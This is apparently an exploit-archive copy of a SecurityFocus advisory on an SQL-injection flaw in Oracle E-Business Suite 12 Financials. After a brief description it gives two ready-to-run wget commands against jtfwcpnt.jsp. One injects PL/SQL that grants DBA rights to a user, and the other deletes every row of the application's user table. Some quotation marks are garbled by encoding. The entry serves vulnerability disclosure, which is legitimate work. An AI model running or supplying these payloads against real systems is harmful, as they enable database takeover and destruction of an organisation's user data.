11 lines
No EOL
816 B
Text
11 lines
No EOL
816 B
Text
source: http://www.securityfocus.com/bid/39510/info
|
||
|
||
Oracle E-Business Suite Financials is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||
|
||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||
|
||
Oracle E-Business Suite 12 is vulnerable; other versions may be affected.
|
||
|
||
$ export TARGET=â?http://www.example.com:<port>/OA_HTMLâ?
|
||
$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'grant%20dba%20to%20mom';%20end;â?
|
||
$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;â? |